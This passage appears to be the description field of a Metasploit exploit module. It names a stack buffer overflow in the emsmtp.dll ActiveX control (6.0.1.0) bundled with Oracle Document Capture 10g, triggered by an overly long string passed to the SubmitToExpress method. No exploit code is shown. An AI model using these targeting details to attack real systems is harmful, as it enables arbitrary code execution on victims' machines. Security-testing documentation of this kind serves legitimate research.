'Description'=> %q{

This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0).

Oracle Document Capture 10g comes bundled with a third party ActiveX control

emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress"

an attacker may be able to execute arbitrary code.
